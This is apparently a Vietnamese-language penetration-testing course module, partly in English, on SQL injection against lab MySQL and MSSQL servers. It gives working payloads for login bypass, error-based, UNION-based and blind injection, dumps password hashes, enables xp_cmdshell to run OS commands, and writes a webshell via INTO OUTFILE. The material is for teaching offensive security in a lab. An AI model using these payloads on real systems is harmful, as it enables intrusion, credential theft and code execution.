Trong Mô-đun Học tập này, chúng tôi sẽ đề cập đến các Đơn vị Học tập sau:
SQL injection (SQLi) là một lớp lỗ hổng ứng dụng web chính phổ biến trong nhiều ứng dụng web. Nó hiện đang xếp thứ ba trong số 10 rủi ro bảo mật ứng dụng hàng đầu của OWASP. Nó được liệt kê là: A03: 2021-Tiêm
Nhìn chung, các lỗ hổng SQLi cho phép kẻ tấn công can thiệp vào Các truy vấn SQL được trao đổi giữa ứng dụng web và cơ sở dữ liệu. SQL Các lỗ hổng thường cho phép kẻ tấn công mở rộng bản gốc application để bao gồm các bảng cơ sở dữ liệu thường là không thể tiếp cận.
Trong Mô-đun này, chúng ta sẽ trình bày cả liệt kê SQL và lấy dấu vân tay cơ sở dữ liệu, cùng với khai thác thủ công và tự động của SQLi.
Đơn vị học tập này bao gồm các Mục tiêu Học tập sau:
Ngôn ngữ truy vấn có cấu trúc (SQL) đã được phát triển đặc biệt để quản lý và tương tác với dữ liệu được lưu trữ bên trong cơ sở dữ liệu. SQL có thể được sử dụng để truy vấn, chèn, sửa đổi hoặc thậm chí xóa dữ liệu và trong Một số trường hợp, thực hiện các lệnh của hệ điều hành. Kể từ phiên bản SQL cung cấp rất nhiều đặc quyền quản trị, chúng ta sẽ sớm quan sát cách Các truy vấn SQL tùy ý có thể gây ra rủi ro bảo mật đáng kể.
Các ứng dụng web hiện đại thường được thiết kế xung quanh một người dùng giao diện được gọi là giao diện người dùng, thường được tạo sử dụng các khối mã khác nhau được viết bằng HTML, CSS và JavaScript.
Sau khi máy khách tương tác với giao diện người dùng, nó sẽ gửi dữ liệu đến lớp ứng dụng phụ trợ đang chạy trên máy chủ. Một số các framework khác nhau có thể được sử dụng để xây dựng một ứng dụng phụ trợ, được viết bằng nhiều ngôn ngữ khác nhau bao gồm PHP, Java và Python.
Tiếp theo, mã phụ trợ tương tác với dữ liệu nằm trong theo nhiều cách khác nhau, chẳng hạn như truy xuất mật khẩu được liên kết với một tên người dùng nhất định.
Cú pháp, lệnh và hàm SQL khác nhau tùy thuộc vào mối quan hệ cơ sở dữ liệu mà họ được tạo ra. MySQL, Microsoft SQL Server, PostgreSQL và Oracle là những cơ sở dữ liệu phổ biến nhất và chúng ta sẽ kiểm tra đặc điểm.
Ví dụ, hãy xây dựng một truy vấn MySQL đơn giản để phân tích cú pháp bảng người dùng và truy xuất một mục nhập người dùng cụ thể.
Chúng ta có thể sử dụng câu lệnh SELECT để hướng dẫn cơ sở dữ liệu mà chúng ta muốn truy xuất tất cả (*) bản ghi từ một vị trí cụ thể được xác định thông qua từ khóa FROM và theo sau là mục tiêu, trong case, bảng người dùng. Cuối cùng, chúng ta sẽ hướng cơ sở dữ liệu đến bộ lọc Chỉ dành cho các bản ghi thuộc về người dùng Leon.
SELECT * FROM users WHERE user_name='leon'
Liệt kê 1 - Truy vấn SQL phân tích cú pháp bảng người dùng
Để tự động hóa chức năng, các ứng dụng web thường nhúng các truy vấn SQL trong mã nguồn của họ.
Chúng ta có thể hiểu rõ hơn về khái niệm này bằng cách xem xét những điều sau đây phần mã PHP phụ trợ chịu trách nhiệm xác minh Thông tin đăng nhập do người dùng gửi trong quá trình đăng nhập:
$sql_query = "SELECT * FROM users WHERE user_name= '$uname' AND password='$passwd'";
$result = mysqli_query($con, $sql_query);
?>
Liệt kê 2 - Truy vấn SQL được nhúng trong mã nguồn đăng nhập PHP
Được đánh dấu ở trên là một truy vấn SQL bán biên dịch sẵn tìm kiếm bảng người dùng cho tên người dùng được cung cấp và mật khẩu, được lưu vào vượt qua các biến. Chuỗi truy vấn sau đó được lưu trữ trong sql_query và Được sử dụng để thực hiện truy vấn đối với cơ sở dữ liệu cục bộ thông qua hàm mysqli_query, hàm này lưu kết quả truy vấn trong $result.
Xin lưu ý rằng i bên trong mysqli_query PHP hàm là viết tắt của cải tiến và không nên nhầm lẫn với hàm lỗ hổng bảo mật (vì i trong SQLi là viết tắt của injection).
Cho đến nay, chúng tôi đã mô tả một tương tác rất cơ bản giữa PHP phụ trợ mã và cơ sở dữ liệu. Xem lại đoạn mã ở trên, chúng ta sẽ nhận thấy rằng cả biến user_name và mật khẩu đều được truy xuất từ yêu cầu POST của người dùng và được chèn trực tiếp vào chuỗi sql_query mà không cần kiểm tra trước. Điều này có nghĩa là kẻ tấn công có thể sửa đổi câu lệnh SQL cuối cùng trước khi nó được thực thi bởi SQL cơ sở dữ liệu.
Kẻ tấn công có thể chèn một câu lệnh SQL bên trong trường người dùng hoặc mật khẩu để phá vỡ logic ứng dụng dự định.
Hãy xem xét một ví dụ. Khi người dùng gõ leon, SQL Máy chủ tìm kiếm tên người dùng "Leon" và trả về kết quả. Đến tìm kiếm cơ sở dữ liệu, SQL server chạy truy vấn SELECT * FROM người dùng WHERE user_name= leon. Thay vào đó, nếu người dùng nhập "leon '+!@#$", máy chủ SQL sẽ chạy truy vấn SELECT * FROM users TRONG ĐÓ user_name= leon'+!@#$. Không có gì trong khối mã của chúng tôi kiểm tra những ký tự đặc biệt này, và chính việc thiếu bộ lọc này đã gây ra lỗ hổng.
Chúng ta sẽ khám phá cách các loại kịch bản này có thể bị lạm dụng trong các phần tiếp theo.
Khi kiểm tra một ứng dụng web, đôi khi chúng ta thiếu kiến thức trước về hệ thống cơ sở dữ liệu cơ bản, vì vậy chúng ta nên chuẩn bị để tương tác với các biến thể cơ sở dữ liệu SQL khác nhau.
Nhiều biến thể DB khác nhau về cú pháp, chức năng và tính năng. Trong , chúng ta sẽ tập trung vào hai trong số các cơ sở dữ liệu phổ biến nhất các biến thể, MySQL và Microsoft SQL Server (MSSQL).
Hai biến thể SQL mà chúng ta đang khám phá trong Mô-đun này không bị giới hạn đến cài đặt tại chỗ, vì chúng thường có thể được tìm thấy trên đám mây triển khai.
MySQL là một trong những ứng dụng được triển khai phổ biến nhất cùng với MariaDB, một nhánh mã nguồn mở của MySQL.
Để khám phá những kiến thức cơ bản về MySQL, chúng ta có thể kết nối với phiên bản MySQL từ xa từ máy Kali địa phương của chúng tôi.
Sử dụng lệnh mysql, chúng ta sẽ kết nối với phiên bản SQL từ xa bằng cách chỉ định root làm tên người dùng và mật khẩu, cùng với cổng máy chủ MySQL mặc định 3306.
kali@kali:~$ mysql -u root -p'root' -h 192.168.50.16 -P 3306
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
Liệt kê 3 - Kết nối với phiên bản MySQL từ xa
Từ shell bảng điều khiển MySQL, chúng ta có thể chạy hàm version() để truy xuất phiên bản của phiên bản SQL đang chạy.
MySQL [(none)]> select version();
+-----------+
| version() |
+-----------+
| 8.0.21 |
+-----------+
1 row in set (0.107 sec)
Liệt kê 4 - Truy xuất phiên bản của cơ sở dữ liệu MySQL
Chúng ta cũng có thể xác minh người dùng cơ sở dữ liệu hiện tại cho phiên đang diễn ra thông qua hàm system_user(), trả về tên người dùng hiện tại và tên máy chủ cho kết nối MySQL.
MySQL [(none)]> select system_user();
+--------------------+
| system_user() |
+--------------------+
| root@192.168.20.50 |
+--------------------+
1 row in set (0.104 sec)
Liệt kê 5 - Kiểm tra người dùng của phiên hiện tại
Truy vấn cơ sở dữ liệu mà chúng tôi đã chạy xác nhận rằng chúng tôi đã đăng nhập dưới dạng người dùng gốc cơ sở dữ liệu thông qua kết nối từ xa từ 192.168.20.50.
Người dùng gốc trong ví dụ này là root dành riêng cho cơ sở dữ liệu người dùng, không phải người dùng gốc quản trị trên toàn hệ thống.
Bây giờ chúng ta có thể thu thập danh sách tất cả các cơ sở dữ liệu đang chạy trong MySQL session bằng cách đưa ra lệnh show, theo sau là từ khóa cơ sở dữ liệu.
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
| test |
+--------------------+
5 rows in set (0.107 sec)
Liệt kê 6 - Liệt kê tất cả các cơ sở dữ liệu có sẵn
Ví dụ: hãy lấy mật khẩu của người dùng offsec có trong cơ sở dữ liệu MySQL.
Trong cơ sở dữ liệu mysql, chúng ta sẽ lọc bằng câu lệnh SELECT cho user và giá trị authentication_string thuộc bảng user. Tiếp theo, chúng ta sẽ lọc tất cả các kết quả thông qua mệnh đề WHERE chỉ khớp với người dùng offsec.
MySQL [mysql]> SELECT user, authentication_string FROM mysql.user WHERE user = 'offsec';
+--------+------------------------------------------------------------------------+
| user | authentication_string |
+--------+------------------------------------------------------------------------+
| offsec | $A$005$?qvorPp8#lTKH1j54xuw4C5VsXe5IAa1cFUYdQMiBxQVEzZG9XWd/e6|
+--------+------------------------------------------------------------------------+
1 row in set (0.106 sec)
Liệt kê 7 - Kiểm tra mật khẩu được mã hóa của người dùng
Để cải thiện tính bảo mật, mật khẩu của người dùng được lưu trữ trong trường authentication_string dưới dạng thuật toán Caching-SHA-256.
Hàm băm mật khẩu là một biểu diễn được mã hóa của bản gốc mật khẩu văn bản thuần túy. Trong các Mô-đun sau, chúng ta sẽ tìm hiểu cách mật khẩu băm được thực hiện và cách băm có thể được đảo ngược hoặc bẻ khóa thành lấy mật khẩu gốc.
Sau khi đề cập đến những điều cơ bản về MySQL, chúng ta hãy khám phá MSSQL.
MSSQL là một quản lý cơ sở dữ liệu hệ thống tích hợp nguyên bản vào hệ sinh thái Windows.
Windows có một công cụ dòng lệnh tích hợp có tên là SQLCMD, cho phép các truy vấn SQL được chạy thông qua dấu nhắc lệnh Windows hoặc thậm chí từ xa từ một máy khác.
Kali Linux bao gồm Impacket, một Khung Python cho phép tương tác giao thức mạng. Trong số nhiều giao thức khác, nó hỗ trợ Dữ liệu dạng bảng Stream (TDS), giao thức được MSSQL thông qua được triển khai trong công cụ impacket-mssqlclient.
Chúng ta có thể chạy impacket-mssqlclient để kết nối với Windows từ xa máy chạy MSSQL bằng cách cung cấp tên người dùng, mật khẩu và IP từ xa, cùng với từ khóa -windows-auth. Điều này buộc Xác thực NTLM (trái ngược với Kerberos). Chúng ta sẽ khám phá Windows xác thực chuyên sâu hơn trong các Mô-đun sắp tới.
kali@kali:~$ impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(SQL01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (SQLPLAYGROUND\Administrator dbo@master)>
Liệt kê 8 - Kết nối với phiên bản MSSQL từ xa thông qua Impacket
Để bắt đầu, hãy kiểm tra phiên bản hiện tại của hệ điều hành bằng cách chọn @@version.
Mỗi hệ thống quản lý cơ sở dữ liệu đều có cú pháp riêng mà chúng ta nên cân nhắc khi liệt kê mục tiêu trong quá trình thâm nhập kiểm tra.
SQL (SQLPLAYGROUND\Administrator dbo@master)> SELECT @@version;
...
Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
Sep 24 2019 13:48:23
Copyright (C) 2019 Microsoft Corporation
Express Edition (64-bit) on Windows Server 2022 Standard 10.0 (Build 20348: ) (Hypervisor)
Liệt kê 9 - Truy xuất phiên bản hệ điều hành Windows
Truy vấn của chúng tôi trả về thông tin có giá trị về phiên bản đang chạy của máy chủ MSSQL cùng với phiên bản Windows Server, bao gồm cả số bản dựng.
Khi sử dụng công cụ dòng lệnh SQL Server như sqlcmd, chúng ta phải gửi câu lệnh SQL của chúng ta kết thúc bằng dấu chấm phẩy, theo sau là GO trên dòng riêng biệt. Tuy nhiên, khi chạy lệnh từ xa, chúng ta có thể bỏ qua câu lệnh GO vì nó không phải là một phần của giao thức MSSQL TDS.
Để liệt kê tất cả các cơ sở dữ liệu có sẵn, chúng ta có thể chọn tất cả các tên từ Danh mục hệ thống.
SQL (SQLPLAYGROUND\Administrator dbo@master)> SELECT name FROM sys.databases;
name
...
master
tempdb
model
msdb
offsec
SQL>
Liệt kê 10 - Kiểm tra các cơ sở dữ liệu có sẵn
Vì master, tempdb, model và msdb là cơ sở dữ liệu mặc định, Chúng tôi muốn khám phá cơ sở dữ liệu OffSec tùy chỉnh vì nó có thể chứa dữ liệu thuộc mục tiêu của chúng tôi. Chúng tôi có thể xem xét cơ sở dữ liệu này bằng cách truy vấn bảng bảng trong information_schema tương ứng.
SQL (SQLPLAYGROUND\Administrator dbo@master)> SELECT * FROM offsec.information_schema.tables;
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
------------- ------------ ---------- ----------
offsec dbo users b'BASE TABLE'
SQL (SQLPLAYGROUND\Administrator dbo@master)>
Liệt kê 11 - Kiểm tra các bảng có sẵn trong cơ sở dữ liệu offsec
Truy vấn của chúng tôi trả về bảng users là bảng duy nhất có sẵn trong cơ sở dữ liệu, vì vậy hãy kiểm tra nó bằng cách chọn tất cả các bản ghi của nó. Chúng tôi sẽ Cần chỉ định lược đồ bảng DBO giữa cơ sở dữ liệu và tên bảng.
SQL>select * from offsec.dbo.users;
username password
---------- ----------
admin lab
guest guest
Liệt kê 12 - Khám phá các bản ghi bảng người dùng
Bảng người dùng chứa các cột, người dùng và mật khẩu, và hai hàng. Truy vấn của chúng tôi trả về mật khẩu văn bản rõ ràng cho cả hai tên người dùng.
Sau khi đề cập đến các đặc thù cú pháp cơ bản cho MySQL và MSSQL cơ sở dữ liệu, tiếp theo, chúng ta sẽ tìm hiểu cách khai thác SQL injection theo cách thủ công lỗ hổng.
Một số phòng thí nghiệm yêu cầu bạn khởi động (các) máy mục tiêu bên dưới.
Xin lưu ý rằng địa chỉ IP được gán cho máy mục tiêu của bạn có thể không khớp với địa chỉ được tham chiếu trong văn bản và video của Mô-đun.
Đơn vị học tập này bao gồm các Mục tiêu Học tập sau:
Đã bao quát cú pháp SQL cơ bản của hai cơ sở dữ liệu chính bản phân phối, hãy cùng khám phá cách xác định và khai thác SQL injection lỗ hổng.
SQL injection thường bị phát hiện và lạm dụng bằng cách sử dụng các công cụ tự động chẳng hạn như sqlmap. Tuy nhiên, chúng ta nên Trước tiên, hãy hiểu cách kích hoạt lỗ hổng bảo mật theo cách thủ công để nắm bắt cơ học.
Chúng ta có thể bắt đầu phân tích lỗ hổng bảo mật của mình bằng cách sử dụng mã PHP mà chúng ta đã kiểm tra trước đây:
$sql_query = "SELECT * FROM users WHERE user_name= '$uname' AND password='$passwd'";
$result = mysqli_query($con, $sql_query);
?>
Liệt kê 13 - Mã PHP dễ bị chèn SQL
Vì cả tham số uname và mật khẩu đều đến từ do người dùng cung cấp, chúng ta có thể kiểm soát biến $sql_query và tạo một truy vấn SQL khác.
Trong một số trường hợp, SQL injection có thể dẫn đến bỏ qua xác thực, là con đường khai thác đầu tiên mà chúng ta sẽ khám phá.
Bằng cách buộc dấu ngoặc kép đóng cửa trên giá trị uname và thêm một OR Câu lệnh 1 = 1 theo sau là dấu phân cách -- nhận xét và hai dấu phân cách chuyển tiếp dấu gạch chéo (), chúng ta có thể chấm dứt sớm câu lệnh SQL. Thuộc tính cú pháp cho loại nhận xét này yêu cầu hai dấu gạch ngang liên tiếp theo sau là ít nhất một ký tự khoảng trắng.
Trong các ví dụ của phần này, chúng tôi đang theo sau những nhận xét này với hai dấu gạch chéo kép. Điều này cung cấp khả năng hiển thị trên tải trọng của chúng tôi và cả Thêm một số biện pháp bảo vệ chống lại bất kỳ loại cắt bớt khoảng trắng nào trên web ứng dụng có thể sử dụng.
offsec' OR 1=1 -- //
Liệt kê 14 - Kiểm tra bỏ qua xác thực SQLi
Truy vấn SQL được gán cho biến $sql_query kết quả trong Truy vấn SQL bên dưới được chuyển tiếp từ ứng dụng PHP đến MySQL máy chủ.
SELECT * FROM users WHERE user_name= 'offsec' OR 1=1 --
Liệt kê 15 - Câu lệnh SQL được chèn vào
Vì chúng ta đã thêm một câu lệnh OR sẽ luôn đúng, nên WHERE sẽ trả về id người dùng đầu tiên có trong cơ sở dữ liệu, cho dù bản ghi người dùng có hay không. Bởi vì không có kiểm tra nào khác được triển khai trong ứng dụng, chúng ta có thể có được quản trị viên đặc quyền bằng cách phá vỡ logic xác thực.
Để thử nghiệm với cuộc tấn công này chống lại một ứng dụng thực, chúng ta có thể duyệt để http://192.168.50.16 từ máy Kali địa phương của chúng tôi, nhập "offsec" và "jam" trong các trường tên người dùng và mật khẩu tương ứng, và nhấp vào Gửi.

Vì thông tin đăng nhập của người dùng offsec không hợp lệ, chúng tôi nhận được thông báo lỗi Mật khẩu không hợp lệ. Bước tiếp theo, hãy thử chèn bất kỳ ký tự đặc biệt nào bên trong trường Tên người dùng để kiểm tra bất kỳ tương tác với máy chủ SQL cơ bản. Chúng ta sẽ thêm một trích dẫn vào tên người dùng và nhấp lại vào Gửi.

Lần này chúng tôi nhận được lỗi cú pháp SQL, có nghĩa là chúng tôi có thể tương tác với cơ sở dữ liệu.
SQL injection được coi là in-band khi dễ bị tấn công application cung cấp kết quả của truy vấn cùng với application-returned. Trong trường hợp này, chúng tôi đã bật SQL gỡ lỗi bên trong ứng dụng web; tuy nhiên, hầu hết các cấp độ sản xuất các ứng dụng web sẽ không hiển thị các thông báo lỗi này vì hiển thị SQL Gỡ lỗi thông tin được coi là lỗ hổng bảo mật.
Given the above conditions, let's test the authentication payload we discussed earlier by pasting it inside the Username field.

Now we'll click the Submit button again.

Nice! This time we received an Authentication Successful message, meaning that our attack succeeded.
To further expand on our attack, we could also take advantage of the error-based payload by enumerating the database directly.
By prematurely terminating the implied SQL query again, we can inject an arbitrary second statement:
' or 1=1 in (select @@version) -- //
Listing 16 - Error-based payload
In this case, we want to retrieve the MySQL version via the @@version directive.
MySQL accepts both version() and @@version statements.
We can now paste the injection payload in the Username field and verify the returned output.

Phiên bản MySQL đang chạy (8.0.28) được bao gồm cùng với phần còn lại của tải trọng ứng dụng web. Điều này có nghĩa là chúng ta có thể truy vấn cơ sở dữ liệu tương tác, tương tự như cách chúng ta sử dụng thiết bị đầu cuối quản trị.
Vì có vẻ như chúng ta có quyền kiểm soát không giới hạn đối với các truy vấn cơ sở dữ liệu, hãy thử để kết xuất tất cả dữ liệu bên trong bảng người dùng.
' OR 1=1 in (SELECT * FROM users) -- //
Liệt kê 17 - Cố gắng truy xuất bảng Users
Sau khi chèn giá trị vào trường Tên người dùng và gửi query, chúng tôi nhận được lỗi sau:

Điều này có nghĩa là chúng ta chỉ nên truy vấn một cột tại một thời điểm. Hãy thử để chỉ lấy cột mật khẩu từ bảng người dùng.
' or 1=1 in (SELECT password FROM users) -- //
Sau khi gửi tải trọng, chúng tôi nhận được một số lỗi cùng với các giá trị giống như hàm băm mật khẩu MD5.

This is somewhat helpful, as we managed to retrieve all user password hashes; however, we don't know which user each password hash corresponds to. We can solve the issue by adding a WHERE clause specifying which user's password we want to retrieve, in this case, admin.
' or 1=1 in (SELECT password FROM users WHERE username = 'admin') -- //
Listing 18 - Improving our SQLi error-based payload
Once we submit the payload, we receive the user's password along with the usual error message:

Dễ thương! Chúng tôi đã tìm nạp thông tin đăng nhập người dùng đã băm một cách dự đoán thông qua lỗ hổng SQL injection dựa trên lỗi mà chúng tôi đã phát hiện.
Bất cứ khi nào chúng ta đang xử lý các đợt chèn SQL trong băng tần và kết quả của truy vấn được hiển thị cùng với giá trị do ứng dụng trả về, chúng ta cũng nên kiểm tra các lần tiêm SQL dựa trên UNION.
Từ khóa UNION hỗ trợ khai thác vì nó cho phép thực hiện một từ khóa bổ sung SELECT và cung cấp kết quả trong cùng một truy vấn, do đó nối hai truy vấn thành một câu lệnh.
Để các cuộc tấn công UNION SQLi hoạt động, trước tiên chúng ta cần đáp ứng hai Điều kiện:
Để chứng minh khái niệm này, hãy kiểm tra một ứng dụng web với truy vấn SQL được cấu hình sẵn sau:
$query = "SELECT * from customers WHERE name LIKE '".$_POST["search_input"]."%'";
Liệt kê 19 - Truy vấn SQL dễ bị tấn công
Truy vấn tìm nạp tất cả các bản ghi từ bảng khách hàng. Nó cũng bao gồm từ khóa LIKE để tìm kiếm bất kỳ giá trị tên nào chứa đầu vào của chúng ta là theo sau là số không hoặc bất kỳ số ký tự nào, như được chỉ định bởi percentage (%) toán tử.
Chúng tôi có thể tương tác với ứng dụng dễ bị tấn công bằng cách duyệt http://192.168.50.16/search.php từ máy Kali của chúng tôi. Sau khi trang được tải, chúng ta có thể nhấp vào TÌM KIẾM để truy xuất tất cả dữ liệu từ bảng khách hàng.

Trước khi xây dựng bất kỳ chiến lược tấn công nào, chúng ta cần biết con số chính xác của các cột có trong bảng đích. Mặc dù kết quả trên cho thấy có bốn cột, chúng ta không nên giả định dựa trên bố cục ứng dụng, vì có thể có thêm cột.
Để khám phá số lượng cột chính xác, chúng tôi có thể gửi như sau chèn truy vấn vào thanh tìm kiếm:
' ORDER BY 1-- //
Liệt kê 20 - Xác minh số lượng cột chính xác
Câu lệnh trên sắp xếp kết quả theo một cột cụ thể, nghĩa là nó sẽ không thành công bất cứ khi nào cột đã chọn không tồn tại. Tăng column by one mỗi lần, chúng ta sẽ phát hiện ra rằng bảng có năm cột kể từ khi sắp xếp theo cột sáu trả về lỗi.

Với thông tin này, chúng ta có thể thử cuộc tấn công đầu tiên của mình bằng cách liệt kê tên cơ sở dữ liệu hiện tại, người dùng và phiên bản MySQL.
%' UNION SELECT database(), user(), @@version, null, null -- //
Liệt kê 21 - Liệt kê cơ sở dữ liệu thông qua SQL UNION Injection
Since we want to retrieve all the data from the customers table, we'll use the percentage sign followed by a single quote to close the search parameter. Then, we begin our injected query with a UNION SELECT statement that dumps the current database name, the user, and the MySQL version in the first, second, and third columns, respectively, leaving the remaining two null.

After launching our attack, we'll notice that the username and the DB version are present on the last line, but the current database name is not. This happens because column 1 is typically reserved for the ID field consisting of an integer data type, meaning it cannot return the string value we are requesting through the SELECT database() statement.
The web application explicitly omits the output from the first column because IDs are not usually useful information for end users.
With this in mind, let's update our query by shifting all the enumerating functions to the right-most place, avoiding any type mismatches.
' UNION SELECT null, null, database(), user(), @@version -- //
Listing 22 - Fixing the Injected UNION Query
Vì chúng ta đã xác minh kết quả mong đợi, chúng ta có thể bỏ qua percentage và chạy lại truy vấn đã sửa đổi của chúng tôi.

Lần này, cả ba giá trị đều trả về chính xác, bao gồm cả offsec là tên cơ sở dữ liệu hiện tại.
Hãy mở rộng kỹ thuật thương mại của chúng ta và xác minh xem các bảng khác có có trong cơ sở dữ liệu hiện tại. Chúng tôi có thể Bắt đầu bằng cách liệt kê thông tin lược đồ của cơ sở dữ liệu hiện tại từ bảng information_schema.columns.
Chúng ta sẽ cố gắng truy xuất bảng cột từ cơ sở dữ liệu information_schema thuộc về cơ sở dữ liệu hiện tại. Sau đó, chúng ta sẽ lưu trữ đầu ra trong cột thứ hai, thứ ba và thứ tư, để các cột thứ nhất và thứ năm trở nên vô hiệu.
' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //
Liệt kê 23 - Truy xuất các bảng và cột cơ sở dữ liệu hiện tại
Chạy nỗ lực liệt kê mới của chúng ta sẽ dẫn đến kết quả bên dưới:

Kết quả này xác minh rằng ba cột chứa tên bảng, tên cột và cơ sở dữ liệu hiện tại tương ứng.
Điều thú vị là chúng tôi đã phát hiện ra một bảng mới có tên người dùng chứa bốn cột, bao gồm một mật khẩu có tên.
Hãy tạo một truy vấn mới để kết xuất bảng users.
' UNION SELECT null, username, password, description, null FROM users -- //
Liệt kê 24 - Truy xuất các bảng và cột cơ sở dữ liệu hiện tại
Sử dụng câu lệnh trên, chúng ta sẽ cố gắng lưu trữ đầu ra của tên người dùng, mật khẩu và mô tả trong bảng ứng dụng web.

Tuyệt! Tải trọng dựa trên UNION của chúng tôi có thể tìm nạp tên người dùng và MD5 băm của toàn bộ bảng người dùng, bao gồm cả tài khoản quản trị. Các giá trị MD5 này được mã hóa các phiên bản của mật khẩu văn bản thuần túy, có thể được đảo ngược bằng cách sử dụng công cụ thích hợp.
Các tải trọng SQLi mà chúng tôi gặp phải là trong băng tần, có nghĩa là chúng tôi có thể truy xuất nội dung cơ sở dữ liệu của truy vấn của chúng tôi bên trong web ứng dụng.
Ngoài ra, SQL injection mù mô tả các kịch bản trong đó phản hồi cơ sở dữ liệu không bao giờ được trả về và hành vi được suy ra bằng cách sử dụng logic dựa trên boolean hoặc thời gian.
Ví dụ, các chèn SQL mù dựa trên boolean chung gây ra để trả về các giá trị khác nhau và có thể dự đoán được bất cứ khi nào truy vấn cơ sở dữ liệu trả về kết quả TRUE hoặc FALSE, do đó "boolean" Tên. Các giá trị này có thể được xem xét trong ngữ cảnh ứng dụng.
Mặc dù "dựa trên boolean" có vẻ không giống như một biến thể SQLi mù, Đầu ra được sử dụng để suy ra kết quả đến từ ứng dụng web, không phải chính cơ sở dữ liệu.
Chèn SQL mù dựa trên thời gian suy ra kết quả truy vấn bằng cách hướng dẫn cơ sở dữ liệu để đợi trong một khoảng thời gian xác định. Dựa trên thời gian phản hồi, kẻ tấn công có thể kết luận nếu câu lệnh là ĐÚNG HAY SAI.
Ứng dụng dễ bị tấn công của chúng tôi (http://192.168.50.16/blindsqli.php) bao gồm một phần mã bị ảnh hưởng bởi cả hai loại SQL injection mù lỗ hổng.
Once we have logged in with the offsec and lab credentials, we'll encounter the following page:

Xem xét kỹ URL, chúng ta sẽ nhận thấy rằng ứng dụng lấy một tham số người dùng làm đầu vào, mặc định là offsec vì đây là người dùng đã đăng nhập hiện tại của chúng tôi. Sau đó, ứng dụng sẽ truy vấn bản ghi, trả về các giá trị Tên người dùng, Hàm băm mật khẩu và Mô tả.
Để kiểm tra SQLi dựa trên boolean, chúng ta có thể thử thêm tải trọng bên dưới vào URL:
http://192.168.50.16/blindsqli.php?user=offsec' AND 1=1 -- //
Liệt kê 25 - Kiểm tra SQLi dựa trên boolean
Vì 1=1 sẽ luôn là TRUE, ứng dụng sẽ trả về chỉ nếu người dùng có mặt trong cơ sở dữ liệu. Sử dụng cú pháp này, chúng ta có thể liệt kê toàn bộ cơ sở dữ liệu cho các tên người dùng khác hoặc thậm chí mở rộng truy vấn SQL của chúng ta để xác minh dữ liệu trong các bảng khác.
Chúng ta có thể đạt được kết quả tương tự bằng cách sử dụng tải trọng SQLi dựa trên thời gian:
http://192.168.50.16/blindsqli.php?user=offsec' AND IF (1=1, sleep(3),'false') -- //
Liệt kê 26 - Kiểm tra SQLi dựa trên thời gian
Trong trường hợp này, chúng ta đã thêm một điều kiện IF sẽ luôn là true bên trong chính câu lệnh nhưng sẽ trả về false nếu người dùng không tồn tại.
Chúng tôi biết offsec của người dùng đang hoạt động, vì vậy chúng tôi nếu dán URL ở trên vào trình duyệt của Kali VM, chúng ta sẽ nhận thấy rằng ứng dụng treo trong khoảng ba giây.
Góc tấn công này có thể trở nên rất tốn thời gian, vì vậy nó thường được tự động hóa bằng các công cụ như SQLMAP, như chúng ta sẽ đề cập trong phần tiếp theo Đơn vị học tập.
Một số phòng thí nghiệm yêu cầu bạn khởi động (các) máy mục tiêu bên dưới.
Xin lưu ý rằng địa chỉ IP được gán cho máy mục tiêu của bạn có thể không khớp với địa chỉ được tham chiếu trong văn bản và video của Mô-đun.
Đơn vị học tập này bao gồm các Mục tiêu Học tập sau:
Tùy thuộc vào hệ điều hành, đặc quyền dịch vụ và hệ thống tệp quyền, lỗ hổng chèn SQL có thể được sử dụng để đọc và Viết tệp trên hệ điều hành cơ bản.
Writing a carefully crafted file containing PHP code into the root directory of the web server could then be leveraged for full code execution.
Depending on the underlying database system we are targeting, we need to adapt our strategy to obtain code execution.
In Microsoft SQL Server, the xp_cmdshell function takes a string and passes it to a command shell for execution. The function returns any output as rows of text. The function is disabled by default and, once enabled, it must be called with the EXECUTE keyword instead of SELECT.
In our database, the Administrator user already has the appropriate permissions. Let's enable xp_cmdshell by simulating an SQL injection via the impacket-mssqlclient tool.
kali@kali:~$ impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
...
SQL> EXECUTE sp_configure 'show advanced options', 1;
[*] INFO(SQL01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE;
SQL> EXECUTE sp_configure 'xp_cmdshell', 1;
[*] INFO(SQL01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE;
Listing 27 - Enabling xp_cmdshell feature
After logging in from our Kali VM to the MSSQL instance, we can enable show advanced options by setting its value to 1, then applying the changes to the running configuration via the RECONFIGURE statement. Next, we'll enable xp_cmdshell and apply the configuration again using RECONFIGURE.
With this feature enabled, we can execute any Windows shell command through the EXECUTE statement followed by the feature name.
SQL> EXECUTE xp_cmdshell 'whoami';
output
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
nt service\mssql$sqlexpress
NULL
Listing 28 - Executing Commands via xp_cmdshell
Since we have full control over the system, we can now easily upgrade our SQL shell to a more standard reverse shell.
Now let's move to MySQL databases.
Although the various MySQL database variants don't offer a single function to escalate to RCE, we can abuse the SELECT INTO_OUTFILE statement to write files on the web server.
For this attack to work, the file location must be writable to the OS user running the database software.
As an example, let's resume the UNION payload on our MySQL target application we explored previously, expanding the query that writes a webshell on disk.
We'll issue the UNION SELECT SQL keywords to include a single PHP line into the first column and save it as webshell.php in a writable web folder.
' UNION SELECT "", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //
